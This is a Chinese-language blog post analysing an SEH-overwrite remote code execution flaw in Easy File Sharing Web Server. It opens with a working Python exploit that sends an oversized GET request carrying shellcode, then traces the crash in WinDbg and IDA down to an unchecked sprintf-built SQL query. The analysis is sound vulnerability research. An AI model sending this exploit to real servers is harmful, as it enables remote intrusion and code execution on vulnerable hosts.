EFS Software HTTP Server远程代码执行漏洞

作者:k0shl 转载请注明出处

漏洞说明


软件下载:
https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe

PoC:

import socket
import sys
 
host = str(sys.argv[1])
port = int(sys.argv[2])
 
a = socket.socket()
 
print "Connecting to: " + host + ":" + str(port)
a.connect((host,port))
 
entire=4500
 
# Junk
buff = "A"*4061
 
# Next SEH
buff+= "\xeb\x0A\x90\x90"
 
# pop pop ret
buff+= "\x98\x97\x01\x10"
 
buff+= "\x90"*19
 
# calc.exe
# Bad Characters: \x20 \x2f \x5c
shellcode = (
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9"
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56"
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9"
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97"
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64"
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8"
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a"
"\x1c\x39\xbd"
)
buff+= shellcode
 
buff+= "\x90"*7
 
buff+= "A"*(4500-4061-4-4-20-len(shellcode)-20)
 
# GET
a.send("GET " + buff + " HTTP/1.0\r\n\r\n")
 
a.close()
 
print "Done..."

测试环境
windows xp sp3
IDA pro
Windbg
打开efs software,会开启80端口,直接设定好PoC里的IP地址,执行,提供的PoC来自Exploit,可能会产生问题,执行前可以将shellcode部分全部改成畸形字符串,比如AAAAA...


漏洞复现


此漏洞是由于Easy file sharing http中的fswsServer.exe在处理GET数据包的路径时,没有对路径内容进行检查,而是直接拼接传参,导致某关键指针被覆盖,从而导致在sqlite3.dll中执行某函数时,由于引用了无效地址,从而触发SEH异常处理流程,导致任意代码执行,下面对此漏洞进行详细分析。
可以看到Exploit发送了一个GET数据包,同时在Metasploit中端看到恶意代码已经执行,shell回弹。
通过GET包的分析,可以修改一个可以令客户端崩溃的利用场景,用于快速定位漏洞位置。

0:005> g
(d68.ea4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000001 ecx=ffffffff edx=01425fe4 esi=01425fb8 edi=01425fe4
eip=61c277f6 esp=01425f34 ebp=01425f4c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\EFS Software\Easy File Sharing Web Server\sqlite3.dll - 
sqlite3!sqlite3_errcode+0x8e:
61c277f6 81784c97a629a0  cmp     dword ptr [eax+4Ch],0A029A697h ds:0023:4141418d=????????

可以看到61c277f6引用了一处无效地址,接下来直接执行,到达可控地址,触发了SEH流程,并且控制了SEH指针。

0:005> g
(d68.ea4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9232bc esi=00000000 edi=00000000
eip=41414141 esp=01425b64 ebp=01425b84 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
41414141 ??              ???

通过kb回溯一下堆栈调用。

0:005> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
01425f4c 61c6286c 7c839ac0 7c80be80 ffffffff sqlite3!sqlite3_errcode+0x8e
*** WARNING: Unable to verify checksum for C:\EFS Software\Easy File Sharing Web Server\fswsService.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\EFS Software\Easy File Sharing Web Server\fswsService.exe
01425f8c 004548d4 00000001 00000000 01425fb8 sqlite3!sqlite3_declare_vtab+0x3282
01425fac 004553a8 01425fd4 00000000 ffffffff fswsService+0x548d4
00000000 00000000 00000000 00000000 00000000 fswsService+0x553a8

问题出现在fswsServer中,下面对此漏洞进行还原分析。


漏洞分析


经过回溯分析,发现了之前执行了一处关键的call调用,ida静态代码如下

.text:00455389                 push    edi
.text:0045538A                 push    eax
.text:0045538B                 push    ecx
.text:0045538C                 push    offset aSelectFromSWhe ; "select * from %s where %s='%s'"
.text:00455391                 push    edx             ; Dest
.text:00455392                 call    ebp ; sprintf
.text:00455394                 add     esp, 14h
.text:00455397                 lea     eax, [esp+1034h+Dest]
.text:0045539B                 lea     ecx, [esp+1034h+var_101C]
.text:0045539F                 push    eax
.text:004553A0                 push    ecx
.text:004553A1                 mov     ecx, esi
.text:004553A3                 call    sub_4548B0

在00455389位置下断点,之后单步跟踪。

0:005> t
eax=003d45f8 ebx=00000601 ecx=003d4648 edx=01425fe4 esi=01427068 edi=00e7c39c
eip=0045538b esp=01425fb4 ebp=77c0f931 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
fswsService+0x5538b:
0045538b 51              push    ecx
0:005> t
eax=003d45f8 ebx=00000601 ecx=003d4648 edx=01425fe4 esi=01427068 edi=00e7c39c
eip=0045538c esp=01425fb0 ebp=77c0f931 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
fswsService+0x5538c:
0045538c 68bc5d4c00      push    offset fswsService+0xc5dbc (004c5dbc)
0:005> t
eax=003d45f8 ebx=00000601 ecx=003d4648 edx=01425fe4 esi=01427068 edi=00e7c39c
eip=00455391 esp=01425fac ebp=77c0f931 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
fswsService+0x55391:
00455391 52              push    edx
0:005> t
eax=003d45f8 ebx=00000601 ecx=003d4648 edx=01425fe4 esi=01427068 edi=00e7c39c
eip=00455392 esp=01425fa8 ebp=77c0f931 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
fswsService+0x55392:
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\msvcrt.dll - 
00455392 ffd5            call    ebp {msvcrt!sprintf (77c0f931)}

00455392地址位置进行了一处call调用sprintf,其实通过之前push入栈的情况可以看出这里执行的是一处sql语句的拼接,执行完毕后,可以看到拼接后的语句。

0:005> t
eax=000011b8 ebx=00000601 ecx=000091b8 edx=0142719b esi=01427068 edi=00e7c39c
eip=00455397 esp=01425fbc ebp=77c0f931 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
fswsService+0x55397:
00455397 8d442428        lea     eax,[esp+28h]
0:005> t
eax=01425fe4 ebx=00000601 ecx=000091b8 edx=0142719b esi=01427068 edi=00e7c39c
eip=0045539b esp=01425fbc ebp=77c0f931 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
fswsService+0x5539b:
0045539b 8d4c2418        lea     ecx,[esp+18h]
0:005> dc eax
01425fe4  656c6573 2a207463 6f726620 7173206d  select * from sq
01425ff4  6261746c 7720656c 65726568 6d616e20  ltable where nam
01426004  41273d65 41414141 41414141 41414141  e='AAAAAAAAAAAAA
01426014  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01426024  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01426034  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01426044  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01426054  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

这里sql语句拼接了畸形字符串路径,而这个过程没有对路径内容进行任何检查。这就是漏洞形成的最关键的原因。

0:005> p
eax=01425fe4 ebx=00000601 ecx=01425fd4 edx=0142719b esi=01427068 edi=00e7c39c
eip=004553a0 esp=01425fb8 ebp=77c0f931 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
fswsService+0x553a0:
004553a0 51              push    ecx
0:005> p
eax=01425fe4 ebx=00000601 ecx=01425fd4 edx=0142719b esi=01427068 edi=00e7c39c
eip=004553a1 esp=01425fb4 ebp=77c0f931 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
fswsService+0x553a1:
004553a1 8bce            mov     ecx,esi
0:005> p
eax=01425fe4 ebx=00000601 ecx=01427068 edx=0142719b esi=01427068 edi=00e7c39c
eip=004553a3 esp=01425fb4 ebp=77c0f931 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
fswsService+0x553a3:
004553a3 e808f5ffff      call    fswsService+0x548b0 (004548b0)

接下来单步执行,到达004548b0的位置。观察一下调用这个函数时的参数情况。

0:005> dd esp
01425fb4  01425fd4 01425fe4 ffffffff 01427238
01425fc4  01427634 00000607 003d4648 003d45f8
01425fd4  00000000 00000000 00000000 003d6b00
01425fe4  656c6573 2a207463 6f726620 7173206d
01425ff4  6261746c 7720656c 65726568 6d616e20
01426004  41273d65 41414141 41414141 41414141
01426014  41414141 41414141 41414141 41414141
01426024  41414141 41414141 41414141 41414141
0:005> dc poi(esp)
01425fd4  00000000 00000000 00000000 003d6b00  .............k=.
01425fe4  656c6573 2a207463 6f726620 7173206d  select * from sq
01425ff4  6261746c 7720656c 65726568 6d616e20  ltable where nam
01426004  41273d65 41414141 41414141 41414141  e='AAAAAAAAAAAAA
01426014  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01426024  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01426034  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01426044  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0:005> dc poi(esp+4)
01425fe4  656c6573 2a207463 6f726620 7173206d  select * from sq
01425ff4  6261746c 7720656c 65726568 6d616e20  ltable where nam
01426004  41273d65 41414141 41414141 41414141  e='AAAAAAAAAAAAA
01426014  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01426024  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01426034  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01426044  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01426054  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

参数传入后,继续单步执行,观察参数变化。

0:005> t
eax=01425fe4 ebx=00000601 ecx=01427068 edx=0142719b esi=01427068 edi=00e7c39c
eip=004548b0 esp=01425fb0 ebp=77c0f931 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
fswsService+0x548b0:
004548b0 51              push    ecx
0:005> p
eax=01425fe4 ebx=00000601 ecx=01427068 edx=0142719b esi=01427068 edi=00e7c39c
eip=004548b1 esp=01425fac ebp=77c0f931 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
fswsService+0x548b1:
004548b1 8b44240c        mov     eax,dword ptr [esp+0Ch] ss:0023:01425fb8=01425fe4
0:005> p
eax=01425fe4 ebx=00000601 ecx=01427068 edx=0142719b esi=01427068 edi=00e7c39c
eip=004548b5 esp=01425fac ebp=77c0f931 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
fswsService+0x548b5:
004548b5 56              push    esi
0:005> p
eax=01425fe4 ebx=00000601 ecx=01427068 edx=0142719b esi=01427068 edi=00e7c39c
eip=004548b6 esp=01425fa8 ebp=77c0f931 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
fswsService+0x548b6:
004548b6 85c0            test    eax,eax
0:005> p
eax=01425fe4 ebx=00000601 ecx=01427068 edx=0142719b esi=01427068 edi=00e7c39c
eip=004548b8 esp=01425fa8 ebp=77c0f931 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
fswsService+0x548b8:
004548b8 c744240400000000 mov     dword ptr [esp+4],0 ss:0023:01425fac=01427068
0:005> p
eax=01425fe4 ebx=00000601 ecx=01427068 edx=0142719b esi=01427068 edi=00e7c39c
eip=004548c0 esp=01425fa8 ebp=77c0f931 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
fswsService+0x548c0:
004548c0 6a00            push    0
0:005> p
eax=01425fe4 ebx=00000601 ecx=01427068 edx=0142719b esi=01427068 edi=00e7c39c
eip=004548c2 esp=01425fa4 ebp=77c0f931 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
fswsService+0x548c2:
004548c2 7430            je      fswsService+0x548f4 (004548f4)          [br=0]
0:005> p
eax=01425fe4 ebx=00000601 ecx=01427068 edx=0142719b esi=01427068 edi=00e7c39c
eip=004548c4 esp=01425fa4 ebp=77c0f931 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
fswsService+0x548c4:
004548c4 8d542414        lea     edx,[esp+14h]
0:005> p
eax=01425fe4 ebx=00000601 ecx=01427068 edx=01425fb8 esi=01427068 edi=00e7c39c
eip=004548c8 esp=01425fa4 ebp=77c0f931 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
fswsService+0x548c8:
004548c8 52              push    edx
0:005> p
eax=01425fe4 ebx=00000601 ecx=01427068 edx=01425fb8 esi=01427068 edi=00e7c39c
eip=004548c9 esp=01425fa0 ebp=77c0f931 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
fswsService+0x548c9:
004548c9 6aff            push    0FFFFFFFFh
0:005> p
eax=01425fe4 ebx=00000601 ecx=01427068 edx=01425fb8 esi=01427068 edi=00e7c39c
eip=004548cb esp=01425f9c ebp=77c0f931 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
fswsService+0x548cb:
004548cb 50              push    eax
0:005> p
eax=01425fe4 ebx=00000601 ecx=01427068 edx=01425fb8 esi=01427068 edi=00e7c39c
eip=004548cc esp=01425f98 ebp=77c0f931 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
fswsService+0x548cc:
004548cc 8b01            mov     eax,dword ptr [ecx]  ds:0023:01427068=41414141
0:005> p
eax=41414141 ebx=00000601 ecx=01427068 edx=01425fb8 esi=01427068 edi=00e7c39c
eip=004548ce esp=01425f98 ebp=77c0f931 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
fswsService+0x548ce:
004548ce 50              push    eax
0:005> p
eax=41414141 ebx=00000601 ecx=01427068 edx=01425fb8 esi=01427068 edi=00e7c39c
eip=004548cf esp=01425f94 ebp=77c0f931 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
fswsService+0x548cf:
004548cf e8808f0400      call    fswsService+0x9d854 (0049d854)

可以看到,在到达004548cf位置的时候eax已经在之前的004548cc位置被覆盖成为了41414141,而ecx原本保存的是一处关键指针。

在之前sql语句拼接后,由于没有对参数进行有效的检查,导致ecx指针对应的内容被sql语句中畸形字符串覆盖了。通过 esp栈帧可以观察到第一个参数被修改了。

0:005> dd esp
01425f94  41414141 01425fe4 ffffffff 01425fb8

接下来进入004548cf地址的call调用,这里调用的是sqlite3.dll中的函数。

signed int __usercall sqlite3LockAndPrepare@<eax>(int a1@<eax>, int a2@<edx>, int a3, int a4, _DWORD *a5, int a6)
{
  int v6; // ebx@1
  int v7; // edi@1
  signed int v8; // edx@3
  signed int v9; // edx@4
  signed int v10; // ST18_4@6

  v6 = a1;
  v7 = a2;
  *a5 = 0;
  if ( sqlite3SafetyCheckOk(a1) && v7 )

这个函数第一个参数是a1,也就是eax,接下来在函数中会调用sqlite3SafeCheckOk会对数据库安全性进行检查,而这个函数的参数正是a1,也就是被覆盖的指针,接下来。

signed int __usercall sqlite3SafetyCheckOk@<eax>(int a1@<eax>)
{
  signed int v1; // ebx@2

  if ( a1 )
  {
    v1 = 1;
    if ( *(_DWORD *)(a1 + 76) != -1607883113 )
    {
      LOBYTE(v1) = 0;
      if ( sqlite3SafetyCheckSickOrOk() )
        sqlite3_log(21, "API call with %s database connection pointer", "unopened");
    }
  }
  else
  {
    sqlite3_log(21, "API call with %s database connection pointer", (unsigned int)"NULL");
    v1 = 0;
  }
  return v1;
}

在if语句中,a1被引用,而由于这个指针无效,因此造成了程序进入SEH异常处理流程,导致代码执行。

总结一下整个过程,在访问Web网页的时候,倘若对这个网页的GET包的地址路径进行恶意构造,导致fswsServer服务在处理地址时会进行一次sprintf组装,在这个过程中,没有对长度进行校验,而直接调用后续函数,导致关键指针被覆盖。

后续函数会引用到这个指针,由于指针地址被覆盖,指针无效,造成if语句引用失败,触发SEH异常处理流程,导致任意代码执行。

Comments
Write a Comment